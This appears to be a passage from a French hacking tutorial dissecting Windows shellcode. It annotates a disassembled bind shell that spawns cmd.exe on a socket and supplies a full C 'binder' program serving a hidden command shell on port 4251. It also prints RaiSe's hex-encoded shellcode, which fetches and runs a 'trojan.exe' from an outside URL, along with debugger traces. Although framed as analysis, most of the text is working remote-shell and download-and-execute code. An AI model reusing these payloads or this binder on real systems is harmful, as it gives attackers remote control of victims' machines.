0012FAEA 8DB5F2244000 lea esi,[ebp+4024F2h] // LIB WSOCK32
0012FAF0 8DBDFA244000 lea edi,[ebp+4024FAh] // ptr 1er API_NAME
/***************
>dd esi
0x0012FDFC 434f5357 0032334b 6b636f73 62007465 WSOCK32.socket.b
0x0012FE0C 00646e69 7473696c 61006e65 70656363 ind.listen.accep
0x0012FE1C 65730074 7200646e 00766365 736f6c63 t.send.recv.clos
0x0012FE2C 636f7365 0074656b 4e52454b 32334c45 esocket.KERNEL32
0x0012FE3C 65724300 50657461 00657069 53746547 .CreatePipe.GetS
0x0012FE4C 74726174 6e497075 00416f66 61657243 tartupInfoA.Crea
0x0012FE5C 72506574 7365636f 50004173 4e6b6565 teProcessA.PeekN
0x0012FE6C 64656d61 65706950 6f6c4700 416c6162 amedPipe.GlobalA
>dd edi
0x0012FE04 6b636f73 62007465 00646e69 7473696c socket.bind.list
0x0012FE14 61006e65 70656363 65730074 7200646e en.accept.send.r
0x0012FE24 00766365 736f6c63 636f7365 0074656b ecv.closesocket.
0x0012FE34 4e52454b 32334c45 65724300 50657461 KERNEL32.CreateP
0x0012FE44 00657069 53746547 74726174 6e497075 ipe.GetStartupIn
0x0012FE54 00416f66 61657243 72506574 7365636f foA.CreateProces
0x0012FE64 50004173 4e6b6565 64656d61 65706950 sA.PeekNamedPipe
0x0012FE74 6f6c4700 416c6162 636f6c6c 61655200 .GlobalAlloc.Rea
>
**************/
0012FAF6 6A07 push 7
0012FAF8 90 nop
0012FAF9 90 nop // sa sent la modification de derniere
0012FAFA 90 nop // minute ces nop :))
0012FAFB 90 nop
0012FAFC 59 pop ecx // ok, tout sa pour dire mov ecx, 7
0012FAFD E8D2020000 call 0012FDD4 // Function_Make_JMP_Table (7,edi,"WSOCK32")
0012FB02 8DB52A254000 lea esi,[ebp+40252Ah] // LIB KERNEL32
0012FB08 8DBD33254000 lea edi,[ebp+402533h] // ptr 1er API_NAME
0012FB0E 6A0A push 0Ah // 10 API addresse a retrouver
0012FB10 90 nop
0012FB11 90 nop
0012FB12 90 nop
0012FB13 90 nop
0012FB14 59 pop ecx // stored in ecx
0012FB15 E8BA020000 call 0012FDD4 // Function_Make_JMP_Table (10,edi,"KERNEL32")
// créé 2 pipes
+++
0012FB1A 6A00 push 0 // DWORD nSize
0012FB1C 8DB5D9254000 lea esi,[ebp+4025D9h]
0012FB22 56 push esi // LPSECURITY_ATTRIBUTES SECU
0012FB23 8DB5E5254000 lea esi,[ebp+4025E5h]
0012FB29 56 push esi // PHANDLE WRITE1
0012FB2A 8DB5E9254000 lea esi,[ebp+4025E9h]
0012FB30 56 push esi // PHANDLE READ1
0012FB31 FF9533254000 call dword ptr [ebp+402533h] // CreatePipe
(&READ1,&WRITE1,&SECU,0)
0012FB37 6A00 push 0
0012FB39 8DB5D9254000 lea esi,[ebp+4025D9h]
0012FB3F 56 push esi // LPSECURITY_ATTRIBUTES SECU
0012FB40 8DB5ED254000 lea esi,[ebp+4025EDh]
0012FB46 56 push esi // PHANDLE WRITE2
0012FB47 8DB5F1254000 lea esi,[ebp+4025F1h]
0012FB4D 56 push esi // PHANDLE READ2
0012FB4E FF9533254000 call dword ptr [ebp+402533h] // CreatePipe (&READ2,&WRITE2,&SECU,0)
+++
0012FB54 C785F525400044000000 mov dword ptr [ebp+4025F5h],44h SI->cb = 0x44
0012FB5E 8DB5F5254000 lea esi,[ebp+4025F5h]
0012FB64 56 push esi // LPSTARTUPINFO SI
0012FB65 FF9537254000 call dword ptr [ebp+402537h] // GetStartupInfo (&SI)
0012FB6B 8DB52D264000 lea esi,[ebp+40262Dh]
0012FB71 AD lods dword ptr [esi]
0012FB72 50 push eax
0012FB73 FF9553254000 call dword ptr [ebp+402553h] // CloseHandle (READ2)
0012FB79 8DB531264000 lea esi,[ebp+402631h]
0012FB7F AD lods dword ptr [esi]
0012FB80 50 push eax
0012FB81 FF9553254000 call dword ptr [ebp+402553h] // CloseHandle (WRITE1)
// formatage de structures
0012FB87 8DB5F1254000 lea esi,[ebp+4025F1h]
0012FB8D 8DBD2D264000 lea edi,[ebp+40262Dh]
0012FB93 A5 movs dword ptr [edi],dword ptr [esi]
0012FB94 8DB5E5254000 lea esi,[ebp+4025E5h]
0012FB9A AD lods dword ptr [esi]
0012FB9B 8DBD31264000 lea edi,[ebp+402631h]
0012FBA1 AB stos dword ptr [edi]
0012FBA2 8DBD35264000 lea edi,[ebp+402635h]
0012FBA8 AB stos dword ptr [edi]
0012FBA9 C7852526400000000000 mov dword ptr [ebp+402625h],0
0012FBB3 C7852126400001010000 mov dword ptr [ebp+402621h],101h
0012FBBD 8DB539264000 lea esi,[ebp+402639h]
0012FBC3 56 push esi // &ProcessInformation
0012FBC4 8DB5F5254000 lea esi,[ebp+4025F5h]
0012FBCA 56 push esi // &StartupInfo
0012FBCB 6A00 push 0 // LPCTSTR lpCurrentDirectory = NULL
0012FBCD 6A00 push 0 // LPVOID lpEnvironment = NULL
0012FBCF 6A10 push 10h // DWORD dwCreationFlags = CREATE_NEW_CONSOLE
0012FBD1 6A01 push 1 // BOOL bInheritHandles = TRUE
0012FBD3 6A00 push 0 // LPSECURITY_ATTRIBUTES lpThreadAttributes = NULL
0012FBD5 6A00 push 0 // LPSECURITY_ATTRIBUTES lpProcessAttributes = NULL
0012FBD7 8DB549264000 lea esi,[ebp+402649h]
0012FBDD 56 push esi // LPTSTR lpCommandLine = "CMD.exe"
0012FBDE 6A00 push 0 // LPCTSTR lpApplicationName = NULL
// CreateProcess
(NULL,"cmd.exe",NULL,NULL,TRUE,CREATE_NEW_CONSOLE,NULL,&StartupInfo,&ProcessInformation)
0012FBE0 FF953B254000 call dword ptr [ebp+40253Bh]
0012FBE6 6800200000 push 2000h
0012FBEB 90 nop
0012FBEC 6800020000 push 200h
0012FBF1 FF9543254000 call dword ptr [ebp+402543h] // GlobalAlloc (GPTR,8192);
0012FBF7 898551264000 mov dword ptr [ebp+402651h],eax // EAX: 00136100
0012FBFD 33C0 xor eax,eax // remise a zero
0012FBFF 50 push eax // EAX: 0
0012FC00 40 inc eax
0012FC01 50 push eax // EAX: 1
0012FC02 40 inc eax
0012FC03 50 push eax // EAX: 2
0012FC04 FF95FA244000 call dword ptr [ebp+4024FAh] // socket (AF_INET,SOCK_STREAM,0)
0012FC0A 50 push eax
0012FC0B 5B pop ebx // ebx = SOCKET MySocket
0012FC0C 6A10 push 10h // namelen = sizeof (addr)
0012FC0E 8DB5C9254000 lea esi,[ebp+4025C9h]
0012FC14 56 push esi // const struct sockaddr FAR * addr
0012FC15 53 push ebx
0012FC16 FF95FE244000 call dword ptr [ebp+4024FEh] // bind (MySocket,&addr,namelen)
0012FC1C 6A03 push 3 // backlog = 3
0012FC1E 53 push ebx
0012FC1F FF9502254000 call dword ptr [ebp+402502h] //listen (MySocket,backlog)
0012FC25 8DB555264000 lea esi,[ebp+402655h]
0012FC2B 56 push esi int FAR *addrlen
0012FC2C 8DB5C9254000 lea esi,[ebp+4025C9h]
0012FC32 56 push esi // struct sockaddr FAR * addr
0012FC33 53 push ebx // SOCKET MySocket
0012FC34 FF9506254000 call dword ptr [ebp+402506h] // accept (MySocket,&addr,&addrlen)
0012FC3A 8DBD59264000 lea edi,[ebp+402659h]
0012FC40 AB stos dword ptr [edi] // sauve le handle de NewSocket
0012FC41 33C0 xor eax,eax
0012FC43 50 push eax // LPDWORD lpcbMessage = NULL
0012FC44 8DBD65264000 lea edi,[ebp+402665h]
0012FC4A 57 push edi // LPDWORD lpcbAvail
0012FC4B 50 push eax // LPDWORD lpcbRead = NULL
0012FC4C 50 push eax // DWORD cbBuffer = NULL
0012FC4D 50 push eax // LPVOID lpvBuffer = NULL
0012FC4E 8DB5E9254000 lea esi,[ebp+4025E9h]
0012FC54 AD lods dword ptr [esi]
0012FC55 50 push eax // HANDLE READ1
// PeekNamedPipe (READ1, NULL, NULL, NULL, &lpcbAvail, NULL)
0012FC56 FF953F254000 call dword ptr [ebp+40253Fh]
0012FC5C 6A30 push 30h
0012FC5E FF954F254000 call dword ptr [ebp+40254Fh] // Sleep (48)
0012FC64 EB4D jmp 0012FCB3 // jump ====> bypass
*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
0012FC66 90 nop
0012FC67 90 nop
0012FC68 90 nop
Loop :
0012FC69 33C0 xor eax,eax // eax = 0
0012FC6B 50 push eax LPDWORD lpcbMessage = NULL
0012FC6C 8DBD65264000 lea edi,[ebp+402665h]
0012FC72 57 push edi // LPDWORD lpcbAvail
0012FC73 50 push eax // LPDWORD lpcbRead = NULL
0012FC74 50 push eax // DWORD cbBuffer = NULL
0012FC75 50 push eax // LPVOID lpvBuffer = NULL
0012FC76 8DB5E9254000 lea esi,[ebp+4025E9h]
0012FC7C AD lods dword ptr [esi]
0012FC7D 50 push eax // HANDE READ1
// PeekNamedPipe (READ,NULL,NULL,NULL,&lpcbAvail,NULL)
0012FC7E FF953F254000 call dword ptr [ebp+40253Fh]
0012FC84 6A50 push 50h
0012FC86 FF954F254000 call dword ptr [ebp+40254Fh] // Sleep (80)
0012FC8C 83BD6526400002 cmp dword ptr [ebp+402665h],2 // loop while (!lpcbAvail)
0012FC93 0F8217010000 jb 0012FDB0
A_boucle :
0012FC99 81BD6526400001200000 cmp dword ptr [ebp+402665h],2001h
0012FCA3 720E jb 0012FCB3
0012FCA5 90 nop
0012FCA6 90 nop
0012FCA7 90 nop
0012FCA8 90 nop
0012FCA9 C7856526400000200000 mov dword ptr [ebp+402665h],2000h
*-*-*-*-*-*-*-*-*-*-*-*-
=====> bypass :
0012FCB3 6A00 push 0 // LPOVERLAPPED lpOverlapped = NULL
0012FCB5 8B8565264000 mov eax,dword ptr [ebp+402665h]
0012FCBB 8DBD65264000 lea edi,[ebp+402665h]
0012FCC1 57 push edi // LPDWORD lpNumberOfBytesRead = NULL
0012FCC2 50 push eax // DWORD nNumberOfBytesToRead = NULL
0012FCC3 8B8551264000 mov eax,dword ptr [ebp+402651h]
0012FCC9 50 push eax // LPVOID lpBuffer = 0x1360e8
0012FCCA 8DB5E9254000 lea esi,[ebp+4025E9h]
0012FCD0 AD lods dword ptr [esi]
0012FCD1 50 push eax // HANDLE hFile = 60
// ReadFile (hFile,&lpBuffer,NULL,NULL,NULL)
0012FCD2 FF9547254000 call dword ptr [ebp+402547h]
0012FCD8 6A50 push 50h
0012FCDA FF954F254000 call dword ptr [ebp+40254Fh] // Sleep (80)
0012FCE0 8B8565264000 mov eax,dword ptr [ebp+402665h]
0012FCE6 6A00 push 0 // int flags = 0;
0012FCE8 50 push eax // int len;
0012FCE9 8DB551264000 lea esi,[ebp+402651h]
0012FCEF AD lods dword ptr [esi]
0012FCF0 50 push eax // const char FAR * buf
0012FCF1 8DB559264000 lea esi,[ebp+402659h]
0012FCF7 AD lods dword ptr [esi]
0012FCF8 50 push eax // SOCKET MySockey = 0xFFFFFFFF ??
// send (MySocket, &buff, strlen (buff),0)
0012FCF9 FF950A254000 call dword ptr [ebp+40250Ah]
0012FCFF 6A00 push 0 LPDWORD lpcbMessage = NULL
0012FD01 8DBD65264000 lea edi,[ebp+402665h]
0012FD07 57 push edi // LPDWORD lpcbAvail = NULL
0012FD08 6A00 push 0 // LPDWORD lpcbRead = NULL
0012FD0A 6A00 push 0 // DWORD cbBuffer = NULL
0012FD0C 6A00 push 0 // LPVOID lpvBuffer = NULL
0012FD0E 8DB5E9254000 lea esi,[ebp+4025E9h]
0012FD14 AD lods dword ptr [esi]
0012FD15 50 push eax // HANDLE READ1
//PeekNamedPipe (READ1,NULL,NULL,NULL,NULL,NULL)
0012FD16 FF953F254000 call dword ptr [ebp+40253Fh]
0012FD1C 6A50 push 50h
0012FD1E FF954F254000 call dword ptr [ebp+40254Fh] // Sleep (80)
0012FD24 33C9 xor ecx,ecx
0012FD26 398D65264000 cmp dword ptr [ebp+402665h],ecx // si rien a lire sur la socket
0012FD2C 0F8767FFFFFF ja 0012FC99 // jmp A_boucle
0012FD32 6A00 push 0 // int flags = 0
0012FD34 6800200000 push 2000h // buffer len = 8192 bytes
0012FD39 90 nop
0012FD3A 8DB551264000 lea esi,[ebp+402651h]
0012FD40 AD lods dword ptr [esi]
0012FD41 50 push eax // char FAR * buf
0012FD42 8DB559264000 lea esi,[ebp+402659h]
0012FD48 AD lods dword ptr [esi]
0012FD49 50 push eax // SOCKET MySocket
// NumberOfByteRead = recv (MySocket,&buff,0x2000,0)
0012FD4A FF950E254000 call dword ptr [ebp+40250Eh]
0012FD50 898561264000 mov dword ptr [ebp+402661h],eax // save NumberOfByteRead
0012FD56 6A00 push 0 // LPOVERLAPPED lpOverlapped = 0
0012FD58 8DBD65264000 lea edi,[ebp+402665h]
0012FD5E 57 push edi // LPDWORD lpNumberOfBytesWritten
0012FD5F 50 push eax // DWORD nNumberOfBytesToWrite
0012FD60 8DB551264000 lea esi,[ebp+402651h]
0012FD66 AD lods dword ptr [esi]
0012FD67 50 push eax // LPCVOID lpBuffer
0012FD68 8DB5ED254000 lea esi,[ebp+4025EDh]
0012FD6E AD lods dword ptr [esi]
0012FD6F 50 push eax // HANDLE WRITE2
// WriteFile
(WRITE2,&lpBuffer,nNumberOfBytesToWrite,&lpNumberOfBytesWritten,0)
0012FD70 FF954B254000 call dword ptr [ebp+40254Bh]
0012FD76 6A50 push 50h
0012FD78 FF954F254000 call dword ptr [ebp+40254Fh] // Sleep (80)
0012FD7E 6A00 push 0 // LPOVERLAPPED lpOverlapped = 0
0012FD80 8B8561264000 mov eax,dword ptr [ebp+402661h]
0012FD86 8DBD65264000 lea edi,[ebp+402665h]
0012FD8C 57 push edi // LPDWORD lpNumberOfBytesRead
0012FD8D 50 push eax // DWORD nNumberOfBytesToRead
0012FD8E 8B8551264000 mov eax,dword ptr [ebp+402651h]
0012FD94 50 push eax // LPVOID lpBuffer
0012FD95 8DB5E9254000 lea esi,[ebp+4025E9h]
0012FD9B AD lods dword ptr [esi]
0012FD9C 50 push eax // HANDLE READ1
// ReadFile (READ1,nNumberOfBytesToRead,&lpNumberOfBytesRead,0)
0012FD9D FF9547254000 call dword ptr [ebp+402547h]
0012FDA3 6A50 push 50h
0012FDA5 FF954F254000 call dword ptr [ebp+40254Fh] // Sleep (80)
0012FDAB E9B9FEFFFF jmp 0012FC69 // jmp Loop (boucle infinie)
/*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Function_Make_JMP_Table (int Nbr_of_API, LPTSTR API_TABLE, char *LIBRARY_NAME)
/*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
/*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Function_Make_JMP_Table :
0012FDD4 51 push ecx // 7 API a check
0012FDD5 56 push esi // push LIBRARY_NAME
0012FDD6 6874404000 push 404074h // push (void *) LoadLibraryA
0012FDDB 90 nop
0012FDDC 5A pop edx
0012FDDD FF12 call dword ptr [edx] // call LoadLibraryA (LIBRARY_NAME)
/**************************
>dd edx
0x00404074 77e7a254
***************************/
0012FDDF 50 push eax // eax = (HMODULE) LIBRARY_NAME
0012FDE0 5B pop ebx // mov ebx, eax
0012FDE1 59 pop ecx // mov ecx, 7
0012FDE2 57 push edi
0012FDE3 5E pop esi // esi = (char *) API_NAME[ecx]
Retrive_API_Address :
0012FDE4 51 push ecx // 7
0012FDE5 56 push esi // API_NAME[ecx]=API_TABLE
0012FDE6 53 push ebx // LIBRARY_NAME
0012FDE7 6870404000 push 404070h
0012FDEC 90 nop
0012FDED 5A pop edx // mov edx, [IT adresse de GetProcAddress]
0012FDEE FF12 call dword ptr [edx] // GetProcAddress (LIBRARY_NAME,API_NAME[ecx])
/**************************
>dd edx
0x00404070 77e79ac1
***************************/
0012FDF0 50 push eax // eax = (void *) API_NAME
0012FDF1 AC lods byte ptr [esi] // boucle qui avance le
0012FDF2 84C0 test al,al // pointeur sur le prochain
0012FDF4 75FB jne 0012FDF1 // nom d'API a loader
// API_NAME[--ecx]
0012FDF6 58 pop eax // restore l'adresse de socket ()
0012FDF7 AB stos dword ptr [edi] // place un 0 dans l'API table
0012FDF8 59 pop ecx //
0012FDF9 E2E9 loop 0012FDE4 // while (ecx) loop Retrive_API_Address
0012FDFB C3 ret // fin de fonction
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/
Cette analyse de code pouvant faire peur a certaines personnes, voici un binder trivial
en C, de facon a mieux comprendre la démarche du shellcode de Zan
========================================== binder.c ============================================
#include
#include
#include
#define RECV_BUF 1024
void main (int argc, char *argv[])
{
HANDLE Read1,Write1,Read2,Write2;
SOCKET sock1, mysock;
SECURITY_ATTRIBUTES secu={(DWORD)sizeof (SECURITY_ATTRIBUTES),NULL,TRUE};
STARTUPINFO starti;
PROCESS_INFORMATION pi;
SOCKADDR_IN sin;
WSADATA wsadata;
WORD wVersionRequested = MAKEWORD (2,0);
unsigned short port=4251; //bind port
DWORD lpNumberOfBytesRead;
int err;
char buffer[RECV_BUF], cmd[MAX_PATH],
invite[]="------------------------------/n"
" Simple CMD Binder, By ThreaT/n"
"Tapez 2 fois EXIT pour quitter/n"
" Have fun !/n"
"------------------------------/n";
lpNumberOfBytesRead = GetEnvironmentVariable("ComSpec",cmd,MAX_PATH);
if (!lpNumberOfBytesRead) ExitProcess (0);
err = WSAStartup(wVersionRequested, &wsadata);
if (err) ExitProcess (0);
sin.sin_family = AF_INET;
sin.sin_addr.s_addr=0;
sin.sin_port = htons (port);
err = sizeof (sin);
sock1 = socket (AF_INET, SOCK_STREAM, 0);
bind (sock1, (SOCKADDR *)&sin, err);
listen (sock1,0);
mysock = accept (sock1,(SOCKADDR *)&sin, &err);
if (mysock == INVALID_SOCKET) ExitProcess (0);
CreatePipe(&Read1,&Write1,&secu,0);
CreatePipe(&Read2,&Write2,&secu,0);
ZeroMemory (&starti,sizeof (starti));
ZeroMemory (&pi,sizeof (pi));
starti.cb=sizeof (STARTUPINFO);
starti.dwFlags=STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES;
starti.wShowWindow=SW_HIDE;
starti.hStdInput=Read2;
starti.hStdOutput=Write1;
starti.hStdError=Write1;
err = CreateProcess(NULL,cmd,&secu,&secu,TRUE,0,NULL,NULL,&starti,&pi);
if (!err) ExitProcess (0);
send (mysock,invite,sizeof (invite),0);
while (1) {
Sleep (100);
ZeroMemory (buffer,RECV_BUF);
PeekNamedPipe(Read1,(DWORD)NULL,(DWORD)NULL,(DWORD)NULL,&lpNumberOfBytesRead,(DWORD)NULL);
while (lpNumberOfBytesRead) {
Sleep (200);
err = ReadFile(Read1,buffer,RECV_BUF,&lpNumberOfBytesRead,NULL);
if (!err) break;
else send (mysock,buffer,lpNumberOfBytesRead,0);
PeekNamedPipe(Read1,(DWORD)NULL,(DWORD)NULL,(DWORD)NULL,&lpNumberOfBytesRead,(DWORD)NULL);
}
Sleep (200);
err = recv (mysock,buffer,RECV_BUF,0);
if (!lstrcmpi (buffer,"exit/n")) {
closesocket (mysock);
TerminateProcess(pi.hProcess,0);
ExitProcess (0);
} else WriteFile(Write2,buffer,err,&lpNumberOfBytesRead,0);
}
}
========================================== EOF ===============================================
Nous pouvons dorénavant en dire un peu plus sur ce shellcode, à savoir :
1 + une technique original pour retrouver l'offset du shellcode crypté permet de
gagner en octets et en temps machine
2 + une fonction principale (Function_Make_JMP_Table) permettant de créer une jump table
de toutes les fonctions utilisées par le programme s'avère très pratique
3 - Un stockage de tout les noms d'API grossit très fortement le shellcode
4 - Des endroits bourré de NOP auraient pu être évités, ce qui marque encore un point négatif
quant à l'optimisation de sa taille.
5 - La méthode de travail utilisée ici (par jmp table) est vraiment trop lourde, et génère
un code bourré de null bytes (obligé d'être crypté)
bref, nous somme en possession d'un shellcode lourd (1218 BYTES !!), nécessitant
2 adresses hardcodés !
allons voir ailleurs si il n'existe pas mieux...
///
ETUDE DU SHELLCODE GENERIQUE DE RAISE.
///
Pour rester dans notre trip, étudions maintenant un shellcode générique utilisant
un scan de l'import table pour retrouver ses petits, j'ai bien sur nommé, le shellcode
générique de RaiSe.
pour commencer, on remarque que ce fameux shellcode a été retouché plusieur fois, la version
que nous étudierons sera donc celle ci
http://www.undersec.com/programas/generic-win32.c
Il est tout à fait possible que vous ayez trouver une version différente quelque part au
fin fond du web, je vous rassure, les réactions du test restent les mêmes à quelque chose près...
voici le code que nous allons torturer
====================================== raise.c ==============================================
#include
void main () {
char scode[] =
"/xEB/x30/x5F/xFC/x8B/xF7/x80"
"/x3F/x08/x75/x03/x80/x37/x08/x47/x80/x3F/x01/x75/xF2/x8B/xE6/x33/xD2/xB2/x04/xC1"
"/xE2/x08/x2B/xE2/x8B/xEC/x33/xD2/xB2/x03/xC1/xE2/x08/x2B/xE2/x54/x5A/xB2/x7C/x8B"
"/xE2/xEB/x02/xEB/x57/x89/x75/xFC/x33/xC0/xB4/x40/xC1/xE0/x08/x89/x45/xF8/x8B/x40"
"/x3C/x03/x45/xF8/x8D/x40/x7E/x8B/x40/x02/x03/x45/xF8/x8B/xF8/x8B/x7F/x0C/x03/x7D"
"/xF8/x81/x3F/x4B/x45/x52/x4E/x74/x07/x83/xC0/x14/x8B/xF8/xEB/xEB/x50/x8B/xF8/x33"
"/xC9/x33/xC0/xB1/x10/x8B/x17/x03/x55/xF8/x52/xEB/x03/x57/x8B/xD7/x80/x7A/x03/x80"
"/x74/x16/x8B/x32/x03/x75/xF8/x83/xC6/x02/xEB/x02/xEB/x7E/x8B/x7D/xFC/x51/xF3/xA6"
"/x59/x5F/x74/x06/x40/x83/xC7/x04/xEB/xDB/x5F/x8B/x7F/x10/x03/x7D/xF8/xC1/xE0/x02"
"/x03/xF8/x8B/x07/x8B/x5D/xFC/x8D/x5B/x11/x53/xFF/xD0/x89/x45/xF4/x8B/x40/x3C/x03"
"/x45/xF4/x8B/x70/x78/x03/x75/xF4/x8D/x76/x1C/xAD/x03/x45/xF4/x89/x45/xF0/xAD/x03"
"/x45/xF4/x89/x45/xEC/xAD/x03/x45/xF4/x89/x45/xE8/x8B/x55/xEC/x8B/x75/xFC/x8D/x76"
"/x1E/x33/xDB/x33/xC9/xB1/x0F/x8B/x3A/x03/x7D/xF4/x56/x51/xF3/xA6/x59/x5E/x74/x06"
"/x43/x8D/x52/x04/xEB/xED/xD1/xE3/x8B/x75/xE8/x03/xF3/x33/xC9/x66/x8B/x0E/xEB/x02"
"/xEB/x7D/xC1/xE1/x02/x03/x4D/xF0/x8B/x09/x03/x4D/xF4/x89/x4D/xE4/x8B/x5D/xFC/x8D"
"/x5B/x2D/x33/xC9/xB1/x07/x8D/x7D/xE0/x53/x51/x53/x8B/x55/xF4/x52/x8B/x45/xE4/xFC"
"/xFF/xD0/x59/x5B/xFD/xAB/x8D/x64/x24/xF8/x38/x2B/x74/x03/x43/xEB/xF9/x43/xE2/xE1"
"/x8B/x45/xE0/x53/xFC/xFF/xD0/xFD/xAB/x33/xC9/xB1/x04/x8D/x5B/x0C/xFC/x53/x51/x53"
"/x8B/x55/xC4/x52/x8B/x45/xE4/xFF/xD0/x59/x5B/xFD/xAB/x38/x2B/x74/x03/x43/xEB/xF9"
"/x43/xE2/xE5/xFC/x33/xD2/xB6/x1F/xC1/xE2/x08/x52/x33/xD2/x52/x8B/x45/xD4/xFF/xD0"
"/x89/x45/xB0/x33/xD2/xEB/x02/xEB/x77/x52/x52/x52/x52/x53/x8B/x45/xC0/xFF/xD0/x8D"
"/x5B/x03/x89/x45/xAC/x33/xD2/x52/xB6/x80/xC1/xE2/x10/x52/x33/xD2/x52/x52/x8D/x7B"
"/x09/x57/x50/x8B/x45/xBC/xFF/xD0/x89/x45/xA8/x8D/x55/xA0/x52/x33/xD2/xB6/x1F/xC1"
"/xE2/x08/x52/x8B/x4D/xB0/x51/x50/x8B/x45/xB8/xFF/xD0/x8B/x4D/xA8/x51/x8B/x45/xB4"
"/xFF/xD0/x8B/x4D/xAC/x51/x8B/x45/xB4/xFF/xD0/x33/xD2/x52/x53/x8B/x45/xDC/xFF/xD0"
"/x89/x45/xA4/x8B/x7D/xA0/x57/x8B/x55/xB0/x52/x50/x8B/x45/xD8/xFF/xD0/x8B/x55/xA4"
"/x52/x8B/x45/xD0/xFF/xD0/xEB/x02/xEB/x12/x33/xD2/x90/x52/x53/x8B/x45/xCC/xFF/xD0"
"/x33/xD2/x52/x8B/x45/xC8/xFF/xD0/xE8/xE6/xFD/xFF/xFF/x47/x65/x74/x4D/x6F/x64/x75"
"/x6C/x65/x48/x61/x6E/x64/x6C/x65/x41/x08/x6B/x65/x72/x6E/x65/x6C/x33/x32/x2E/x64"
"/x6C/x6C/x08/x47/x65/x74/x50/x72/x6F/x63/x41/x64/x64/x72/x65/x73/x73/x08/x4C/x6F"
"/x61/x64/x4C/x69/x62/x72/x61/x72/x79/x41/x08/x5F/x6C/x63/x72/x65/x61/x74/x08/x5F"
"/x6C/x77/x72/x69/x74/x65/x08/x47/x6C/x6F/x62/x61/x6C/x41/x6C/x6C/x6F/x63/x08/x5F"
"/x6C/x63/x6C/x6F/x73/x65/x08/x57/x69/x6E/x45/x78/x65/x63/x08/x45/x78/x69/x74/x50"
"/x72/x6F/x63/x65/x73/x73/x08/x77/x69/x6E/x69/x6E/x65/x74/x2E/x64/x6C/x6C/x08/x49"
"/x6E/x74/x65/x72/x6E/x65/x74/x4F/x70/x65/x6E/x41/x08/x49/x6E/x74/x65/x72/x6E/x65"
"/x74/x4F/x70/x65/x6E/x55/x72/x6C/x41/x08/x49/x6E/x74/x65/x72/x6E/x65/x74/x52/x65"
"/x61/x64/x46/x69/x6C/x65/x08/x49/x6E/x74/x65/x72/x6E/x65/x74/x43/x6C/x6F/x73/x65"
"/x48/x61/x6E/x64/x6C/x65/x08/x4E/x53/x08/x6E/x73/x73/x63/x2E/x65/x78/x65/x08"
"http://www.chez.com/mvm/trojan.exe"
"/x08/x01";
void (*shellcode) () = (void * ) scode;
shellcode ();
}
======================================== EOF ==================================================
E:/code/SP>cl raise.c
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8168 for 80x86
Copyright (C) Microsoft Corp 1984-1998. All rights reserved.
raise.c
Microsoft (R) Incremental Linker Version 6.00.8168
Copyright (C) Microsoft Corp 1992-1998. All rights reserved.
/out:raise.exe
raise.obj
E:/code/SP>raise
Module Load: E:/CODE/SP/raise.exe (symbol loading deferred)
Thread Create: Process=0, Thread=0
Module Load: C:/WINNT/SYSTEM32/ntdll.dll (symbol loading deferred)
Module Load: C:/WINNT/SYSTEM32/kernel32.dll (symbol loading deferred)
Module Load: C:/WINNT/SYSTEM32/ntdll.dll (could not open symbol file)
Module Load: E:/CODE/SP/raise.exe (no symbols loaded)
Thread Create: Process=0, Thread=1
Second chance exception c0000005 (Access Violation) occurred
Thread stopped.
>rt
EAX=00000024 EBX=7ffdf000 ECX=00000010 EDX=004044ac ESI=658700cc EDI=0012fe88
EIP=0012fcfd ESP=0012f770 EBP=0012fa88 EFL=00000206
CS=001b DS=0023 ES=0023 SS=0023 FS=0038 GS=0000
Dr0=e14a4a18 Dr1=fb375a01 Dr2=00000000 Dr3=e14e7008 Dr6=e265bc88 Dr7=00000001
>u eip-6
0012FCF7 EB7E jmp 0012FD77
0012FCF9 8B7DFC mov edi,dword ptr [ebp-4]
0012FCFC 51 push ecx
0012FCFD F3A6 repe cmps byte ptr [esi],byte ptr [edi] // crash
0012FCFF 59 pop ecx
0012FD00 5F pop edi
0012FD01 7406 je 0012FD09
0012FD03 40 inc eax
>
pour un shellcode sensé marcher sur toutes les plateformes, je ne trouve pas sa très fameux.
On remarque une fois de plus que l'auteur d'un shellcode win32 c'est gardé de divulger
son code source avec ses commentaires.
nous allons donc nous en occuper à sa place...
E:/code/SP>raise
Module Load: E:/CODE/SP/raise2.exe (symbol loading deferred)
Thread Create: Process=0, Thread=0
Module Load: C:/WINNT/SYSTEM32/ntdll.dll (symbol loading deferred)
Module Load: C:/WINNT/SYSTEM32/kernel32.dll (symbol loading deferred)
Module Load: C:/WINNT/SYSTEM32/ntdll.dll (could not open symbol file)
Module Load: E:/CODE/SP/raise2.exe (no symbols loaded)
Thread Create: Process=0, Thread=1
Hard coded breakpoint hit
>
0012FC6C CC int 3
0012FC6D EB30 jmp 0012FC9F // far jump end_of_code
0012FC6F 5F pop edi // edi = (char *) API_TABLE
/******************************************************************
>dd edi
0x0012FE89 4d746547 6c75646f 6e614865 41656c64 GetModuleHandleA
0x0012FE99 72656b08 336c656e 6c642e32 6547086c .kernel32.dll.Ge
0x0012FEA9 6f725074 64644163 73736572 616f4c08 tProcAddress.Loa
0x0012FEB9 62694c64 79726172 6c5f0841 61657263 dLibraryA._lcrea
0x0012FEC9 6c5f0874 74697277 6c470865 6c61626f t._lwrite.Global
0x0012FED9 6f6c6c41 6c5f0863 736f6c63 69570865 Alloc._lclose.Wi
0x0012FEE9 6578456e 78450863 72507469 7365636f nExec.ExitProces
0x0012FEF9 69770873 656e696e 6c642e74 6e49086c s.wininet.dll.In
0x0012FEF9 69770873 656e696e 6c642e74 6e49086c s.wininet.dll.In
0x0012FF09 6e726574 704f7465 08416e65 65746e49 ternetOpenA.Inte
0x0012FF19 74656e72 6e65704f 416c7255 746e4908 rnetOpenUrlA.Int
0x0012FF29 656e7265 61655274 6c694664 6e490865 ernetReadFile.In
0x0012FF39 6e726574 6c437465 4865736f 6c646e61 ternetCloseHandl
0x0012FF49 534e0865 73736e08 78652e63 74680865 e.NS.nssc.exe.ht
